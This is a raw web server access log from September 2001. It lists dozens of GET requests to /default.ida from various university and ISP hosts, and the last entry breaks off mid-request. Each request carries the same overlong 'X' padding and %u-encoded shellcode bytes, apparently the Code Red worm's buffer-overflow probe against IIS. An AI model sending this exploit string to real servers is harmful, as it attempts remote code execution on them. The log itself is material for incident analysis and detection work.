/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 01:35:43: [211.217.37.152] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 03:14:09: gate.mw.co.kr [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 04:53:22: [218.11.104.6] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 07:45:43: dyn-lern-24-193.dyn.columbia.edu [128.59.24.193] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 07:57:02: dyn-lern-24-193.dyn.columbia.edu [128.59.24.193] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 08:37:28: dyn-lern-24-193.dyn.columbia.edu [128.59.24.193] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 09:24:31: [61.157.87.175] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 10:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 10:43:37: dl-max5-C8B12419.jfa.terra.com.br [200.177.36.25] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 11:55:51: vp181249.reshsg.uci.edu [128.195.181.249] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 12:23:29: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 12:27:02: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 12:57:10: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 13:33:43: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 13:50:33: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 14:03:00: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 14:29:04: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 14:41:17: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 15:23:13: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 15:40:07: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 16:30:00: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 17:39:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 18:16:40: adsl-65-65-238-66.dsl.spfdmo.swbell.net [65.65.238.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010913 22:14:48: pkf19.eastnet.gatech.edu [128.61.105.83] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 01:52:56: [209.208.184.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 11:22:59: [211.113.140.50] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 13:44:02: [62.22.33.169] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 13:53:17: [62.22.33.169] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 13:58:11: bus84-203.gsb.columbia.edu [128.59.84.203] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 14:24:08: [62.22.33.169] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 14:56:23: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 15:02:20: D-128-95-43-193.dhcp.washington.edu [128.95.43.193] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 15:42:12: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 16:35:27: dialup-ccts6-60.dyn.columbia.edu [128.59.4.62] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 17:53:03: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 18:42:34: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 18:48:13: [209.208.184.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 20:18:15: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 20:25:00: dialup-1-21.cc.columbia.edu [128.59.42.30] "GET 